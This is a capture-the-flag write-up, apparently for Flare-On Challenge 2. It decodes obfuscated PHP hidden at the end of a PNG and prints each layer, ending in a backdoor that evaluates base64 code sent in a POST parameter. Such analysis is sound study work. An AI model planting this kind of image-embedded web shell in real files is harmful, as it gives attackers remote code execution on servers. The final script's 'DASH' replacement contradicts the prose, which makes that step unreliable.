Challenge 2

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The second challenge is structured as following:

.
├── home.html
└── img
    └── flare-on.png

• The directory contained a home.html file and an img folder that had an flare-on.png image.

On inspecting the home.html code, it was found that that the flare-on.png image was being included using PHP. This raised the possibility that the flare-on.png file might not be a standard image but could also contain embedded PHP code.

Upon checking the flare-on.png, it revealed an obfuscated PHP code appended at the end as shown below.

The beautified version of above PHP code is as follows.

<?php $terms=array("M", "Z", "]", "p", "\\", "w", "f", "1", "v", "<", "a", "Q", "z", " ", "s", "m", "+", "E", "D", "g", "W", "\"", "q", "y", "T", "V", "n", "S", "X", ")", "9", "C", "P", "r", "&", "\'", "!", "x", "G", ":", "2", "~", "O", "h", "u", "U", "@", ";", "H", "3", "F", "6", "b", "L", ">", "^", ",", ".", "l", "$", "d", "`", "%", "N", "*", "[", "0", "}", "J", "-", "5", "_", "A", "=", "{", "k", "o", "7", "#", "i", "I", "Y", "(", "j", "/", "?", "K", "c", "B", "t", "R", "4", "8", "e", "|");
$order=array(59, 71, 73, 13, 35, 10, 20, 81, 76, 10, 28, 63, 12, 1, 28, 11, 76, 68, 50, 30, 11, 24, 7, 63, 45, 20, 23, 68, 87, 42, 24, 60, 87, 63, 18, 58, 87, 63, 18, 58, 87, 63, 83, 43, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 17, 37, 63, 58, 37, 91, 63, 83, 43, 87, 42, 24, 60, 87, 93, 18, 87, 66, 28, 48, 19, 66, 63, 50, 37, 91, 63, 17, 1, 87, 93, 18, 45, 66, 28, 48, 19, 40, 11, 25, 5, 70, 63, 7, 37, 91, 63, 12, 1, 87, 93, 18, 81, 37, 28, 48, 19, 12, 63, 25, 37, 91, 63, 83, 63, 87, 93, 18, 87, 23, 28, 18, 75, 49, 28, 48, 19, 49, 0, 50, 37, 91, 63, 18, 50, 87, 42, 18, 90, 87, 93, 18, 81, 40, 28, 48, 19, 40, 11, 7, 5, 70, 63, 7, 37, 91, 63, 12, 68, 87, 93, 18, 81, 7, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63, 24, 63, 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 18, 17, 37, 0, 50, 5, 40, 42, 50, 5, 49, 42, 25, 5, 91, 63, 50, 5, 70, 42, 25, 37, 91, 63, 75, 1, 87, 93, 18, 1, 17, 80, 58, 66, 3, 86, 27, 88, 77, 80, 38, 25, 40, 81, 20, 5, 76, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 7, 88, 32, 45, 7, 90, 52, 80, 58, 5, 70, 63, 7, 5, 66, 42, 25, 37, 91, 0, 12, 50, 87, 63, 83, 43, 87, 93, 18, 90, 38, 28, 48, 19, 7, 63, 50, 5, 37, 0, 24, 1, 87, 0, 24, 72, 66, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 1, 87, 93, 18, 11, 66, 28, 18, 87, 70, 28, 48, 19, 7, 63, 50, 5, 37, 0, 18, 1, 87, 42, 24, 60, 87, 0, 24, 17, 91, 28, 18, 75, 49, 28, 18, 45, 12, 28, 48, 19, 40, 0, 7, 5, 37, 0, 24, 90, 87, 93, 18, 81, 37, 28, 48, 19, 49, 0, 50, 5, 40, 63, 25, 5, 91, 63, 50, 5, 37, 0, 18, 68, 87, 93, 18, 1, 18, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 90, 87, 0, 24, 72, 37, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63, 24, 63, 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 48, 19, 40, 90, 25, 37, 91, 63, 18, 90, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 75, 70, 28, 48, 19, 40, 90, 58, 37, 91, 63, 75, 11, 79, 28, 27, 75, 3, 42, 23, 88, 30, 35, 47, 59, 71, 71, 73, 35, 68, 38, 63, 8, 1, 38, 45, 30, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 23, 75, 77, 1, 28, 1, 43, 52, 31, 19, 75, 81, 40, 30, 75, 1, 27, 75, 77, 35, 47, 59, 71, 71, 71, 73, 21, 4, 37, 51, 40, 4, 7, 91, 7, 4, 37, 77, 49, 4, 7, 91, 70, 4, 37, 49, 51, 4, 51, 91, 4, 37, 70, 6, 4, 7, 91, 91, 4, 37, 51, 70, 4, 7, 91, 49, 4, 37, 51, 6, 4, 7, 91, 91, 4, 37, 51, 70, 21, 47, 93, 8, 10, 58, 82, 59, 71, 71, 71, 82, 59, 71, 71, 29, 29, 47);
$do_me="";
for ($i=0;$i<count($order);$i++)
{
	$do_me=$do_me.$terms[$order[$i]];
}
eval($do_me); ?>

To de-obfuscate the above PHP code, we can simply replace the eval() function with echo() function. After execution with this modification, the output is shown below.

$_= \'aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9\';
$__=\'JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7\';
$___="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";
eval($___($__));

Here, the output revealed second layer of obfuscated PHP code. This code executes $___ with $__ as parameter with eval.

The $___ variable contains a mix of octal and hexadecimal values. Lets quickly decode this using a Python script.

cipher_text= [0x62,0o141,0x73,0o145,0x36,0o64,0x5f,0o144,0x65,0o143,0x6f,0o144,0x65]
plain_text = ''
for text in cipher_text:
    plain_text += chr(text) 
print(plain_text)

The value was decoded as base64_decode.

So, the eval($___($__)) is eval(base64_decode($__)). Here, the value of $__ variable will be decoded from base64.

Now, decoding the value JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7 of variable $__ from base64, the value is code=base64_decode($_);eval($code); So, the above script will decode $_ variable from base64 and execute it.

Upon decoding $_ from base64, the following code was revealed:

if(isset($_POST["\97\49\49\68\x4F\84\116\x68\97\x74\x44\x4F\x54\x6A\97\x76\x61\x35\x63\x72\97\x70\x41\84\x66\x6C\97\x72\x65\x44\65\x53\72\111\110\68\79\84\99\x6F\x6D"])) { eval(base64_decode($_POST["\97\49\x31\68\x4F\x54\116\104\x61\116\x44\79\x54\106\97\118\97\53\x63\114\x61\x70\65\84\102\x6C\x61\114\101\x44\65\x53\72\111\x6E\x44\x4F\84\99\x6F\x6D"])); }

The above code contains following mix of decimal and hexadecimal values that is executed with eval():

\97\49\x31\68\x4F\x54\116\104\x61\116\x44\79\x54\106\97\118\97\53\x63\114\x61\x70\65\84\102\x6C\x61\114\101\x44\65\x53\72\111\x6E\x44\x4F\84\99\x6F\x6D

The same above python script was utilized to convert these values to their ASCII representation:

input= [97,49,49,68,0x4F,84,116,0x68,97,0x74,0x44,0x4F,0x54,0x6A,97,0x76,0x61,0x35,0x63,0x72,97,0x70,0x41,84,0x66,0x6C,97,0x72,0x65,0x44,65,0x53,72,111,110,68,79,84,99,0x6F,0x6D]
flag = ''
for item in input:
    flag += chr(item) 
print(flag)

Executing the script produced the following string:
a11DOTthatDOTjava5crapATflareDASHonDOTcom

Lets now replace the placeholders with DOT, AT, and DASH with ., @, and -, respectively.

input= [97,49,49,68,0x4F,84,116,0x68,97,0x74,0x44,0x4F,0x54,0x6A,97,0x76,0x61,0x35,0x63,0x72,97,0x70,0x41,84,0x66,0x6C,97,0x72,0x65,0x44,65,0x53,72,111,110,68,79,84,99,0x6F,0x6D]
flag = ''
for item in input:
    flag += chr(item) 
print(flag.replace("DOT", ".").replace("DASH",".").replace("AT", "@"))

Flag: [email protected]

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